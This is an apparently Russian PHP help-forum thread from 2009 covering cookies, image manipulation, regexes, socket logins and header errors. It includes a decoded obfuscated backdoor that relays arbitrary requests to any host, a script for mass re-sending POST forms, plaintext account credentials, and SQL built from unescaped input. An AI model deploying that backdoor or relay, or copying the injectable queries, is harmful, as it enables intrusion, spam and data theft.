for($i = 0, $alphlen = strlen($alpha); $i < $len; $i++) #добавляем в цикле случайные символы
$result .= $alpha{mt_rand(0, $alphlen - 1)}; #случайное число из алфавита

return $result; #возвращаем результат
}

if(!$fp = fopen($file_pass, 'at')) #открываем файл
die('Невозможно открыть файл'.$file_pass);

if($truncate_file)
ftruncate($fp, 0); #отчищаем файл


for($i = 0; $i < $pass_count; $i++)
{
fwrite($fp, genPass($pass_len, $add_symb)."\r\n"); #записываем в файл по паролю на строчку
}

fclose($fp);

groundhog
22.01.2009, 19:53
ChaaK, всё хорошо, только не закрыл пхп тег и "не" с причастиями пишется слитно (невозможно) :)

[x26]VOLAND
22.01.2009, 20:00
ChaaK, всё хорошо, только не закрыл пхп тег и "не" с причастиями пишется слитно (невозможно) Использование закрывающего тега в пхп нежелательно.

Chaak
22.01.2009, 20:22
ChaaK, всё хорошо, только не закрыл пхп тег и "не" с причастиями пишется слитно (невозможно) :)
невозможно - это наречие :), да оно пишется в этом случае слитно с не.

<?php ?>, закрывающийся тег нежелателен, при инклудах в другие скрипты возможны ошибки с хеадерами, поэтому я и не закрыл его.

Byrger
22.01.2009, 20:37
Почему куки не очищаются?

setcookie("billing", "");

Возможно как-то все куки очистить?

Проблема в том что куки почемуто после создания называются не просто "billing" а "price billing" где price название страницы на которой куки создалить (тоесть параметр GET)

geforce
22.01.2009, 21:19
Есть две функции

function vkont($vibor, $adres)
{
global $db;
// запрос к базе
$q = "SELECT * FROM data WHERE id='" . (int)$vibor . "'";
$result1 = mysql_query($q,$db) or exit(mysql_error());
if (mysql_num_rows($result1) > 0) {
//вытаскиваем пути к картинкам
$myrow1 = mysql_fetch_array($result1);
$adres1 = "admin/".$myrow1['url'];
//узнаем реальный размер картинок
$mas = getimagesize($adres);
$mas1 = getimagesize($adres1);
//создаем переменые с размерами
$width = 215;
$heigth = $mas[1]+$mas1[1]+30;
//создаем пустую картинку с размерами которые выше
$im = imagecreatetruecolor($width, $heigth);
//создаем в памяти все картинки
$im1 = imagecreatefromjpeg($adres);
$im2 = imagecreatefromjpeg('logo.jpg');
$im3 = imagecreatefromjpeg($adres1);
//копируем все на полотно
$name = $myrow1['name'];
imagecopy($im, $im2, 0, $mas[1], 0, 0, 215, 30);
imagecopy($im, $im1, 0, 0, 0, 0, 215, $mas[1]);
imagecopy($im, $im3, 0, $mas[1]+30, 0, 0, 215, 350);
}else {
echo "Ошибка при cоздании Аватара";
exit();
}
}// нужно с функции которая выше предать значение функции ниже
// закруглёные углы
function ugolki ($im /*вот сюда подставить*/ ){
//размеры аватарки
$width = imagesx($im);
$height = imagesy($im);
//добавляем уголки
$tl = imagecreatefrompng('tl.png'); //top left
$tr = imagecreatefrompng('tr.png'); //top right
$dl = imagecreatefrompng('dl.png'); //down left
$dr = imagecreatefrompng('dr.png'); //down right
//размеры уголков (предпологается, что размер углов одинаковый )
$w = imagesx($tl);
$h = imagesy($tl);
imagecopy($im, $tl, 0, 0, 0, 0, $w, $h);
imagecopy($im, $tr, $width-$w, 0, 0, 0, $w, $h);
imagecopy($im, $dl, 0, $height-$h, 0, 0, $w, $h);
imagecopy($im, $dr, $width-$w, $height-$h, 0, 0, $w, $h);
}
// подгружам нужные файлы
include("db.php");
include("function.php");
// передаём переменные
if (isset($_POST['vibor'])) { $vibor = $_POST['vibor'];}
if (isset($_POST['load'])) { $adres = $_POST['load'];}
if (isset($_POST['zak'])) { $zak = $_POST['zak'];}
// ава контакт
vkont($vibor, $adres);
// закруглёные края
if ($zak == 1) {
ugolki ($im);
}
// сохранение аватара
imagejpeg($im,"avatar/$name");
imagedestroy($im);
printf("<img src='avatar/$name' alt=''/><br><a href='get.php?file=avatar/$name'>сохранить</a>");
Как передать $im с одной функции в другую???

Zedi
22.01.2009, 21:32
сделать в обоих функциях global $im;
а можно еще в конце первой функции сделать return $im; и вызывать ее вот так $im = vkont($vibor, $adres);

geforce
22.01.2009, 21:41
сделать в обоих функциях global $im
Не работает так! Нада $im подставить ugolki ($im) вот так и чтоб $im была с пред идущей функцией!???

Дикс
22.01.2009, 21:45
function vkont($vibor, $adres)
{
...
return $im;
}


и


$im = vkont($vibor, $adres);

if ($zak == 1)
ugolki ($im);

Zedi
22.01.2009, 21:48
ну я потом это и сказал ток на две минуты раньше, сначала затупил, ссори

Дикс
22.01.2009, 21:59
да, когда я читал твой пост, там этого не было.

geforce
23.01.2009, 00:22
Какой функцией можно сделать загруженный рисунок черно белым?

Kaimi
23.01.2009, 00:38
http://bubble.ro/How_to_convert_an_image_to_grayscale_using_PHP.htm l

Chaak
23.01.2009, 00:50
Byrger
<?php
foreach($_COOKIES as $key => $value)
{
setcookie($key, 'deleted'); #если не поможет, то ''
}

ntldr
23.01.2009, 00:52
есть класс дял работы с анимацией гиф?

Pashkela
23.01.2009, 01:05
http://www.php.net/imagick

Zitt
23.01.2009, 06:40
Сори, знаю была такая тема... чтото не нашол...
Как из файла выдрать строку в которой встречается например "pass" ??

Pashkela
23.01.2009, 06:46
<?php
$fp = fopen ('1.txt', 'r');
while (!feof ($fp)) {
$temp = fgets ($fp, 4096);
if (preg_match('/pass/',$temp)) echo $temp . "\r\n";
}
fclose ($fp);
?>

Zitt
23.01.2009, 07:32
Pashkela, а если не один раз встречаеться?? ))

preda1or
23.01.2009, 08:33
Pashkela, а если не один раз встречаеться?? ))
preg_match_all()

Дикс
23.01.2009, 09:08
Zitt, Pashkela

<?php
$fp = fopen ('1.txt', 'r');
while (!feof ($fp)) {
$temp = fgets ($fp, 4096);
if (preg_match('/pass/',$temp)) echo $temp . "\r\n";
}
fclose ($fp);
?>

может лучше

$str = array();
// получение файла в массив
$file = file('1.txt');

// ищем строку перебором массива
foreach($file as $row)
if(strstr('pass', $row))
$str[] = $row;

// вывод найденного
if(sizeof($str))
print_r($str);

SVAROG
23.01.2009, 12:21
в $file[$i] содержиться текст с ИП адресом, пытаюсь записать ИП без текста в файл, но в файле оказываеться только слово Array :confused:

preg_match_all('/\s+\d+\.\d+\.\d+\.\d+/',$file[$i],$outp);
$r=fopen("output.txt","a+");
fwrite($r,"$outp\n");

Joker-jar
23.01.2009, 12:35
SVAROG

<?
$text = 'ip-address 192.168.35.2 has been banned';
preg_match("/([0-9]){1,3}\.([0-9]){1,3}\.([0-9]){1,3}\.([0-9]){1,3}/", $text, $out);
echo $out[0];
?>

-=Static=-
23.01.2009, 13:06
в $file[$i] содержиться текст с ИП адресом, пытаюсь записать ИП без текста в файл, но в файле оказываеться только слово Array :confused:

preg_match_all('/\s+\d+\.\d+\.\d+\.\d+/',$file[$i],$outp);
$r=fopen("output.txt","a+");
fwrite($r,"$outp\n");



Так ты из 2-х мерного массива $outp выдели то что тебе надо записать)

Можно например так:

foreach($outp as $line) $out .= $line."\n";


Тогда код будет примерно такой:
$out = "";
preg_match_all('/\s+\d+\.\d+\.\d+\.\d+/',$file[$i],$outp);
foreach($outp as $line) $out .= $line."\n";
$r=fopen("output.txt","a+");
fwrite($r,"$out\n");
fclose($r);

SVAROG
23.01.2009, 13:17
Joker-jar -=Static=- спс что то я сам недогодался))

sharoff
23.01.2009, 13:40
$SQL = " SELECT * FROM news1 where id = $id";

$getid = mysql_db_query($dbase, "$SQL", $connection_id);

while ($row = mysql_fetch_array($getid)) {
$datetxt = $row["datetxt"];
$header = $row["header"];
$category = $row["category"];
$author = $row["author"];
$description = $row["description"];
$readcount = $row["readcount"];

$description = str_replace("\n", "<br>", $description);
$header = stripslashes($header);
$description = stripslashes($description);

echo ("<H1>$header</H1>
<table width=100% border=0 cellspacing=0 cellpadding=2 class=news>
<tr>
<td><span class=newsdate>Добавлено $datetxt | $category | Просмотров $readcount</span></td>
</tr>
</table><br>
<table width=0% border=0 cellspacing=0 cellpadding=0>
<tr>
<td>
<span class=newsfont>$description</span>\n
</td>
</tr>
</table>");

Есть такой код. Честно говорю - стырил с ломаного сайта, решил движок запустить на машине на компе. НА сервере где лежит сайт - все работает, на ПК - нет. Может тут в чем-то ошибка? Дальше по коду идут следующие запросы к БД для получения заголовков следующей и предыдущей новости

PS: этот движок уложил мне БД на моем ПК, стоит денвер последний.

PPS: в этом всем я новичок, может найдется человек, который сможет не доходчиво объяснять ответы на некоторые часто возникающие у меня вопросы? Если да - пусть он напишет в ПМ, буду очень благодарен ему!

-=Static=-
23.01.2009, 13:58
sharoff, сей кусок кода никак не могу положить твою БД. А то что не работает - ты б написал какие у тебя ошибки пишутся, а не это :) Может все намного проще)

sharoff
23.01.2009, 15:00
Ошибок никаких нету, просто тупо ничего не отображается, и сей кусок кода может и не положит БД, зато весь движок ложит жестоко.

groundhog
23.01.2009, 15:11
А дело до него доходит? Коннект с базой есть? Реквизиты коннекта верные? Проверял? Если ты тупо вставил этот кусок кода, то ясен хрен он не заработает как минимум потому, что переменная, содержащая ресурс коннекта называет иначе чем везде...

Pashkela
23.01.2009, 15:24
Ошибок никаких нету, просто тупо ничего не отображается, и сей кусок кода может и не положит БД, зато весь движок ложит жестоко.

гы, хочешь, отобразится, да так, что на несколько строк сразу?:))

В начало скрипта вставь

@ini_set("display_errors","1");

запусти и наслаждайся

-=Static=-
23.01.2009, 15:24
Ошибок никаких нету, просто тупо ничего не отображается, и сей кусок кода может и не положит БД, зато весь движок ложит жестоко.

А в чем проявляется "лежание" БД?? Как вы понимаете словосочетание "код положил БД"??

sharoff
23.01.2009, 15:29
Благодаря этому чудо-коду ошибки не отобразились, а лежание БД проявляется в Too many connections )

Корвин
23.01.2009, 16:20
Благодаря этому чудо-коду ошибки не отобразились, а лежание БД проявляется в Too many connections )

у хостеров обычно стоит ограничение на кол-во запросов, если у тебя не по ошибке большое кол-во а из за обработки большого кол-ва данных то тебе нужно обратица к хостеру и попросить увеличить максимальное колво запросов, вполне возможно что это будет платно


упс, вник в проблему, если это твой комп то сам полазай поисчи где настраивается кол во запросов, канешно если код правельный

AkyHa_MaTaTa
23.01.2009, 16:29
Благодаря этому чудо-коду ошибки не отобразились, а лежание БД проявляется в Too many connections )
Как я понял на твоем локалхосте он не запускаеться,
где то происходит выход из скрипта(exit,die) при ошибки,
по display_errors
во первых по дефолту в "денвер последний" он и так display_errors=1
во вторых - it won't have any affect if the script has fatal errors.

Попробуй элементарно найти error_reporting(0) и закоментить его.

[R]eD
23.01.2009, 20:35
Помогите расшифровать:

<?php
eval(gzinflate(base64_decode('jVP/a9NAFG9I1sd6vTQXaYbbDws10JbpsA7E0R0t16VgIqVMkXWllj EjHStWsjLwV0WLP/mDv6p/g3+i7y5N1hUEH9xd7j5f7r0XzruKPvLDZ01a8OLo2uVVMZuAZV GLW2BTyyHFjeAkHMwmXQaaBY4YC5/Zll7c7Pf7/gDZxAgIY+AEXf7kUePpoX9vC6wdvxWK42NxFylQ5iAQouo+DoF xq078lSoTJGd+S3TGIiWEsE2cwVJeQSl3SAm4SUrEkakuEZrjp GSbRCMON8wtVgi8B/uN4fxgpChXXVNnlGE5a2kPEnlXbRHO6QxeveZ50GgeAuaoxpi6 BkFbtHui/RynxCvM7jYJw4JktYjJLoZoBNu2KS38U7/3f65rXcvssWedxFbN6H12soKpi8V4jG0kNoIb4MiT3E5RL0GCh ne7KEWGpBqMapvUhqKUprmHS1b6y2QYZYs4IFW9ZaswuzRuaeU CMSHoGEDVDZnVup3quF5kZbBkFhbo+cT7Zf8sKzsN0Ao0Za9iu 6v5aSZlKr9MnsJp4XIPJgNMRDm2/yw+L8SPn18/ie+Lb7+//HrRHojd2aQq38b1POY4xnH0YXp+EdUqw3ljVHnoVo5aOMunU/8H7UDRqpKFiGJNo/eShUstO4tueFXe9G4W17xL/rjpXR5JIq57e3VFcPe5ezGJa7P4rdINvctR3X3jeviEpUd0cz6 tIU9+N/8C')));
?>

При выполнении еcho херь какая-то получается.
Очень интересно что за скрипт.

Kaimi
23.01.2009, 20:45
error_reporting(0);
$secret = 'sprank222';
if(isset($_POST['query']) && isset($_POST['host']))
{
if(isset($secret) && ($_POST['secret'] != $secret))exit;
@set_time_limit(0);
ob_implicit_flush(FALSE);
$lasos = $_POST['query'];
$query = base64_decode(str_replace(" ", "+", $lasos));
list($host, $port) = explode(':', base64_decode(str_replace(" ", "+", $_POST['host'])));
if(!$port)$port = 80;
if($host == ($ip = gethostbyname($host)))exit;
if($fp = fsockopen($ip, $port))
{
fwrite($fp, $query);
while(!feof($fp))
{
$answer = fread($fp, 128);
echo $answer;
}
fclose($fp);
}
exit;
}
else { echo "Тебе сюда нельзя."; }

OMG!!
23.01.2009, 20:48
а вообще..
Лови небольшой скриптик.. кладешь в корень.. запускаешь, предварительно положив base64 gzip в mypass.txt :)
<?php echo "1. Reading mypass.txt\n"; $fp1 = fopen ("coded.txt", "r"); $contents = fread ($fp1, filesize ("coded.txt")); fclose($fp1); echo "2. Decoding\n"; while (preg_match("/eval\(gzinflate/",$contents)) { $contents=preg_replace("/<\?|\?>/", "", $contents); eval(preg_replace("/eval/", "\$contents=", $contents)); } echo "3. Writing decoded.txt\n"; $fp2 = fopen("decoded.txt","w"); fwrite($fp2, trim($contents)); fclose($fp2); ?>
По завершению - скрипт передаст результаты в decoded.txt

MaTpOc
23.01.2009, 21:20
объясните плиз про <?php ?>, щас говорят что типо это можно не закрывать, а почему? в чем разница?
И расскажите поподробне про коментарии (//, /* */)
что лучше использовать?
а то одни говорит одно другие дгругое и все это не обосновано!

Pashkela
23.01.2009, 21:34
И расскажите поподробне про коментарии (//, /* */)
что лучше использовать?
а то одни говорит одно другие дгругое и все это не обосновано!

http://java.sun.com/docs/codeconv/html/CodeConventions.doc.html

Есть общепризнанные мировые стандарты

Chaak
23.01.2009, 21:34
объясните плиз про <?php ?>, щас говорят что типо это можно не закрывать, а почему? в чем разница?
И расскажите поподробне про коментарии (//, /* */)
что лучше использовать?
а то одни говорит одно другие дгругое и все это не обосновано!
Файл include.php
<?php
//немного кода...
?><!-- а вот тут мы поставили случайнo пробел(образно говоря)-->
Файл index.php
<?php
include('include.php'); //включаем файл
header('Content-type: application/download'); //отправка в браузер заголовка, вывода не должно быть, а он есть в include.php
echo 'asdasd';
?>

Если php сконфигурирован с опр. опцией(авто-расстановки заголовков), то ошибки не будет.
Иначе:
Cannot send header information on line 3 in index.php
Как ты понимаешь все возникло из-за случайно поставленного пробела после тега ?>

Не закрыв тег, мы избавимя от таких проблем

----------------------
Насчет комментариев:
Разрешается использовать все что душе угодно.
Для однострочных комментариев(пояснений 1 строки или части кода) существуют:
# это однострочный комментарий
// это тоже однострочный комментарий
А это многострочный комментарий:
/* строка1
строка2
строка3
*/

Что использовать решать тебе, все зависит от потребности. Комментарии никак не влияют на исполнение программы, нужны лишь для программиста.

Ссылка:
http://ru.wikipedia.org/wiki/Комментарии

Byrger
23.01.2009, 21:47
Как правильно сделать запрос в БД
есть ли в таблице table ячейка id со значением =1

На выходе 1 или 0 ну или true false

Chaak
23.01.2009, 22:13
SELECT 'true' FROM table WHERE id='1'

MaTpOc
23.01.2009, 22:53
Я вот намутил скрипт:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>qwerty</title>
</head>


<body>

<?php

$sposob = "Банк";
switch ($sposob)
{
case "Банк":
print"Чтобы оплатить через Банк...";
break;
case "Почта":
print"Чтобы оплатить через Почту...";
break;
case "Юнион":
print"Чтобы оплатить через WebMoney...";
break;

default:
echo "Вы не выбрали способ оплаты";
break;
}



?>

</body>
</html>

А вот как сделать это с кнопками я не представляю, чтоб было 3 кнопки и када нажимаешь на одну, там высвечивалось то что в case????

ikolla$$
23.01.2009, 23:02
<input type="submit" name="Bank">.так шоле)

heretic1990
23.01.2009, 23:45
такой вопрос: есть у нас форма, мы посылаем пост запрос на скрипт, но такая проблемма: надо несколоко раз подрят отправить туда этот запрос!
как сделать так? - форма -> скрипт посредник-> скрипт

Chaak
23.01.2009, 23:54
такой вопрос: есть у нас форма, мы посылаем пост запрос на скрипт, но такая проблемма: надо несколоко раз подрят отправить туда этот запрос!
как сделать так? - форма -> скрипт посредник-> скрипт
include в посреднике на другой скрипт)?

heretic1990
24.01.2009, 00:07
ChaaK а при чём здесь include?
скрипт посредник должен отправлять запросы на скрипт , столько раз сколько ему задали в форме.
P.S. мой извращённый ум здесь ни кто не понимает?!

Gifts
24.01.2009, 00:34
heretic1990 Как-то так, в форме нужно будет добавить поля posrednik_to - адрес куда пересылать и posrednik_times. Скрипт - ничего возвращать не будет, если же очень хочется - то учим курл и правим функцию post. И еще одно - все будет посылаться сервером, на котором лежит этот скрипт посредник, так что и притензии за спам будут к вам)
function post($url='',$content='')
{
GLOBAL $cookie;

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_NOBODY, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208');

if (!empty($content)) {curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS, $content);} else {curl_setopt($ch, CURLOPT_POST, 0);}
curl_exec($ch);
curl_close($ch);
}

if (isset($_POST['posrednik_to']))
{
$to=$_POST['posrednik_to'];
$num=empty($_POST['posrednik_times']) ? $_POST['posrednik_times'] : 1;
unset($_POST['posrednik_to'],$_POST['posrednik_times']);
$c=array();
foreach($_POST as $a=>$b) $c[]=$a.'='.urlencode($b);
$c=implode('&',$c);
for ($i=1;$i<=$num;$i++) post($to,$c);
}

[Raz0r]
24.01.2009, 15:18
http://java.sun.com/docs/codeconv/html/CodeConventions.doc.html

Есть общепризнанные мировые стандарты

http://framework.zend.com/manual/en/coding-standard.html
;)

Byrger
24.01.2009, 20:26
Можно как-то вычислить и вывести сколько осталось жить кукам?
Допустим в куках есть запись billing

MaTpOc
24.01.2009, 21:15
Немогу понять в чем проблема?!!
скрипт верный, ошибок нет, но выдает какую то фигню((((

if ($user[id]) {

$o_tickets = $db->query_return_array("
SELECT *
FROM ticket
WHERE userid = '$session[userid]'
AND is_open
ORDER BY date_lastreply_tech DESC"
);

$r_tickets = $db->query_return_array("
SELECT *
FROM ticket
WHERE userid = '$session[userid]'
AND !is_open
ORDER BY date_closed DESC"
);

if (is_array($o_tickets)) {
foreach ($o_tickets AS $result) {

$result['subject'] = trimstring($result['subject'], 30, 1);
if (!$result['ref']) {
force_refs();
}

if ($result['date_opened']) {
$result['date_opened'] = our_date($result['date_opened']);
}
if ($result['date_lastreply']) {
$result['date_lastreply'] = our_date($result['date_lastreply']);
}
if ($result['date_closed']) {
$result['date_closed'] = our_date($result['date_closed']);
}
if ($result['date_lastreply_tech']) {
$result['date_lastreply_tech'] = our_date($result['date_lastreply_tech']);
} else {
$result['date_lastreply_tech'] = $dplang['n/a'];
}

if (count($oticket) < 5) {
$oticket[] = $result;
} else {
$oticket_more++;
}
}
}

if (is_array($r_tickets)) {
foreach ($r_tickets AS $result) {

$result['subject'] = trimstring($result['subject'], 30, 1);
if (!$result['ref']) {
force_refs();
}

if ($result['date_opened']) {
$result['date_opened'] = our_date($result['date_opened']);
}
if ($result['date_lastreply']) {
$result['date_lastreply'] = our_date($result['date_lastreply']);
}
if ($result['date_closed']) {
$result['date_closed'] = our_date($result['date_closed']);
}
if ($result['date_lastreply_tech']) {
$result['date_lastreply_tech'] = our_date($result['date_lastreply_tech']);
}
if ($result['awaiting_tech']) {
$result['awaiting_tech'] = $dplang['tech_reply'];
} else {
$result['awaiting_tech'] = $dplang['your_reply'];
}
if (count($rticket) < 5) {
$rticket[] = $result;
} else {
$rticket_more++;
}
}
}
}

OnArs
24.01.2009, 21:16
Здравствуйте!

Как
1. залогиниться через socket
2. Вернуть в переменную содержимле страницы для проверки входа на успешность
3. перейти на нужную страницу

Раньше с сокетами никогда не работал, накопал вот такой код, но не знаю как правильно им воспользоваться:
fp=fsockopen("site.ru",80,$errno,$errstr,10);
if (!fp) {die();}

$out = "GET /login.php?email=".$email."&pass=".$pass." HTTP/1.0\r\n";
$out .= "Host: vkontakte.ru\r\n";
$out .= "User-Agent: ".$user_agent."\r\n";
$out .= "Cookie: income=1\r\n";
$out .= "Content-Type:text/xml; charset=windows-1251\r\n\r\n";
fwrite($fp,$out);
$ans='';
while(!feof($fp))
{
$ans.=fgets($fp,128);
}
fclose($fp);

В Любом случае все большое спасибо, как всегда ответившим с меня плюсики! ;)

Gifts
24.01.2009, 21:31
MaTpOc "Немогу понять в чем проблема?!!" - Вначале проверь есть ли проблема, а потом сформулируй почему считаешь это проблемой - шоу экстрасенсов не на этом канале

OnArs Берешь сниффер (например LiveHTTPHeaders для фаерфокса) - смотришь что именно передается на страницу и так же передаешь сокетами (каждая строка заканчивается "\r\n". В конце - "\r\n\r\n")

Byrger
24.01.2009, 21:53
http://i064.radikal.ru/0901/4a/a7982b671f91.jpg

Почему куки создаются с префиксом страницы?
хотя создаю я так setcookie(billing, "XH6KV4")

Ну и понятно очистить я смогу куки только со страницы с такимже префиксом....почему так и как можно исправить?

oRb
24.01.2009, 22:03
http://ru2.php.net/setcookie
path
The path on the server in which the cookie will be available on. If set to '/', the cookie will be available within the entire domain . If set to '/foo/', the cookie will only be available within the /foo/ directory and all sub-directories such as /foo/bar/ of domain . The default value is the current directory that the cookie is being set in.

OnArs
24.01.2009, 23:21
OnArs Берешь сниффер (например LiveHTTPHeaders для фаерфокса) - смотришь что именно передается на страницу и так же передаешь сокетами (каждая строка заканчивается "\r\n". В конце - "\r\n\r\n")

Воспользовался сниффером.

теперь код выглядит так:
$data="login=spamer.ucoz.com&password=957000&Submit=++OK++&z=enter_form";

$fp = fsockopen("web.tak.ru", 80, $errno, $errstr, 10);
$out = "POST /enter.php HTTP/1.1\r\n";
$out .= "Host: web.tak.ru\r\n";
$out .= "Referer: google.ru\r\n";
$out .= "User-Agent: Opera\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
$out .= "Content-Length: ".strlen($data)."\n\n";
$out .= $data."\r\n\r\n";

fputs($fp, $out);

while($gets=fgets($fp,2048))
{
print $gets;
}
fclose($fp);
т.е.:
делаю логин для tak.ru
мой login: spamer.ucoz.com
мой pass: 957000
Строка возвращемая в переменную $data действительная и правильна(верна), получал её сниффером для FF, который советовал Gifts.
Логин и пароль для tak.ru верны, там даже на счету 0,34 (или примерно так) рублей.

При выполнении скрипта, Я вижу страницу tak.ru которая говорит мне о том, что введённый пароль для данного логина не верно, это говорит о том, что параметры login и password передаются не верно, но передаются, иначе (в том случае если бы они или один из них не передавались бы) получили бы ошибку на сайте tak.ru о том, что либо логин либо пароль не введены.

Подскажите пожалуйста, что делаю не верное, где и как исправить.

Большое Спасибо!

Kaimi
24.01.2009, 23:37
$out .= "Content-Length: ".strlen($data)."\n\n";
$out .= $data."\r\n\r\n";

Зачем это \r\n\r\n в конце?

svesve
24.01.2009, 23:37
подскажите такую вещь что значит эта строка?
$sm->$db()->....
вот эти стрелки,само их значение? это переопределение переменных? опишите если не сложн на пальцах )

D Mak
24.01.2009, 23:39
OnArs
значения, где есть какие спец. символы старайся делать urlencode()
"\n\n" - почму по разному? вроде в обоих местах "\r\n\r\n"

ЗЫ юзай лучше курл, удобнее

D Mak
24.01.2009, 23:42
svesve
это обращение к элементу класса (метод/свойство)

OnArs
25.01.2009, 00:04
Зачем это \r\n\r\n в конце?
Так подсказал делать Gifts, но т.к. спросил Я решил убрать, проблема осталась.

Chaak
25.01.2009, 00:37
$data="login=spamer.ucoz.com&password=957000&Submit=++OK++&z=enter_form";

$fp = fsockopen("web.tak.ru", 80, $errno, $errstr, 10);
$out = "POST /enter.php HTTP/1.1\r\n";
$out .= "Host: web.tak.ru\r\n";
$out .= "Referer: http://google.ru\r\n";
$out .= "User-Agent: Opera\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
$out .= "Content-Length: ".strlen($data)."\r\n\r\n";
$out .= $data;

fputs($fp, $out);

while($gets=fgets($fp,2048))
{
print $gets;
}
fclose($fp);

Kaimi
25.01.2009, 00:43
Вообще код изначально был рабочим, парси из ответа кукисы и переходи к map.php

OnArs
25.01.2009, 01:55
Вообще код изначально был рабочим, парси из ответа кукисы и переходи к map.php
Какой смысл что-то парсить в ответе, если скрипт не залогинелся?

Kaimi
25.01.2009, 02:51
Эх...

<?

$data="login=spamer.ucoz.com&password=957000&Submit=++OK++&z=enter_form";

$fp = fsockopen("web.tak.ru", 80, $errno, $errstr, 10);
$out = "POST /enter.php HTTP/1.1\r\n";
$out .= "Host: web.tak.ru\r\n";
$out .= "Referer: google.ru\r\n";
$out .= "User-Agent: Opera\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
$out .= "Content-Length: ".strlen($data)."\n\n";
$out .= $data."\r\n\r\n";

fputs($fp, $out);

$response = '';
while(!feof($fp))
{
$response .= fgets($fp, 1024);
}
fclose($fp);

preg_match_all("/Set-Cookie: ([\s\S]+);/isU",$response,$m);
$string = join("; ", $m[1]);

$fp = fsockopen("web.tak.ru", 80, $errno, $errstr, 10);
$out = "GET /map.php HTTP/1.1\r\n";
$out .= "Host: web.tak.ru\n";
$out .= "Cookie: $string\n\n";

fputs($fp, $out);

while(!feof($fp))
{
echo fgets($fp, 128);
}
fclose($fp);

?>

OnArs
25.01.2009, 03:01
Эх...

<?

//////////////////
?>


Воткнул в репу, большое спасибо, работает, идею понял, примного благодарен! ;)

MaTpOc
25.01.2009, 18:29
Помогите написать скрипт который бы брал из файла русские слова и переводил их на транслит и все складывал в др фойл :rolleyes:

Kaimi
25.01.2009, 18:32
Найди как читать/писать файл и заюзай
http://webscripts.softpedia.com/script/PHP-Clases/Translit-12285.html

geforce
25.01.2009, 20:32
У кого нить есть пример кода для конвертирования цветной картинки в Чёрно белую????

Pashkela
26.01.2009, 00:37
<?php

$s_file="1.jpg"; //Файл исходник
$r_file="2.jpg"; //Куда сохранить результат
wb($s_file,$r_file); //Запускаем функцию преобразования картинки



/* Функция для преобразования цветной картинки в черно-белую */
Function wb($file1,$file2) {

//Получаем данные о картинке (высота и ширина)
list($width, $height) = getimagesize($file1);

// Начинаем работу над исходником
$source = imagecreatefromjpeg($file1);
$bwimage= imagecreate($width, $height);

//Создаем 256 цветную палитру
for ($c=0;$c<256;$c++)
{
$palette[$c] = imagecolorallocate($bwimage,$c,$c,$c);
}

//Функция для преобразования rgb-пикселей в черно-белый цвет
function yiq($r,$g,$b)
{
return (($r*0.299)+($g*0.587)+($b*0.114));
}

//Считываем цветовые пиксели (один за другим)
for ($y=0;$y<$height;$y++)
{
for ($x=0;$x<$width;$x++)
{
$rgb = imagecolorat($source,$x,$y);
$r = ($rgb >> 16) & 0xFF;
$g = ($rgb >> 8) & 0xFF;
$b = $rgb & 0xFF;

//А здесь мы преобразуем все цветные пиксели в черно-белые с помощью функции yiq
$gs = yiq($r,$g,$b);
imagesetpixel($bwimage,$x,$y,$palette[$gs]);
}
}

// Сохраняем нашу получившуюся картинку
imagejpeg($bwimage,$file2);
ImageDestroy($bwimage);

Echo "Done";
}
?>

[dei]
26.01.2009, 12:46
...тут была месага Byrger'a...

очистить массив
foreach($array as &$a)
$a = '';

удалить массив
unset($array);

AkyHa_MaTaTa
26.01.2009, 12:48
']очистить массив
foreach($array as &$a)
$a = '';
[/php]
а не проше и быстрее его переназначит, чем создавать цикл?
$array=array();

DTW
26.01.2009, 12:53
<?php
$const = array();
$const = array('L','C','SN','UN','REM','R','F','Fun','Conf' );
$cont = count($const);
for($i=0 ; $i < $cont; $i++)
{
define($const[$i],true);
}
include_once 'config.php';
include_once "func/blog_func.php";
//
if(!isset($_REQUEST['id']) || empty($_REQUEST['id']))
{
$resul = defsell();
}
else{
$id = $_REQUEST['id'] ;
$id = (int)$id;
$resul = selpage($id);
//
//
}

//echo '<meta http-equiv="Refresh" content="0; URL=/less/blog/index.php"> ';
?>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title></title>
<link rel="stylesheet" href="tema.css" type="text/css" />
</head>
<body>
<div id="header"></div>
<div id="maincontent">
<table>
<tr>
<td id="left">
<div class="menu"><?php include_once "block/left.php" ?></div></td>
<td id="content">
<?php
if(isset($_REQUEST['page']))
{
$val = $_REQUEST['page'];
}

switch($val)
{
case "send_news":
include_once "block/send_news.php" ;
break;

case "update_news":
include_once "block/update_news.php" ;
break;

case "remove_news":
include_once "block/remove.php" ;
break;

default:
include_once "block/content.php" ;

}
?>
</td>
<td id="right">
<div><?php include_once "block/right.php"; ?></div></td>

</tr>
</table>
</div>
<div id ="footer"><?php include_once "block/footer.php"; ?> </div>
</body></html>

//файл с функц
<?php
function redict($red)
{
return header("Location: $red");
}

function update_page ($id,$idcat,$hide,$text,$title)
{

connect();

$q="update page set id_cat=$idcat, visible=$hide , content='$text',title='$title' where id=$id";
$at = mysql_query($q);
query_set($at);
redict('index.php');
}

?>

//update_news.php
<?php
if(!defined('UN')) die("Not Find") ;
if(isset($_REQUEST['update']))
{
$id = $_REQUEST['id'];
$id =(int)$id ;
$idcat = $_REQUEST['cat'];
$idcat =(int)$idcat;
$hide = secdb($_REQUEST['hide']);
$title = secdb($_REQUEST['title']);
$text = $_REQUEST['text'];
update_page($id,$idcat,$hide,$text,$title);
}

if(!isset($_REQUEST['update']) || empty($_REQUEST['update']))
{

//форма

}
?>


Кричит что header() уже послан
как все таки послать хедер

[dei]
26.01.2009, 13:01
DTW, ты сначала выводишь тело документа, а потом уже инклудишь update_news.php в котором хочешь изменить header
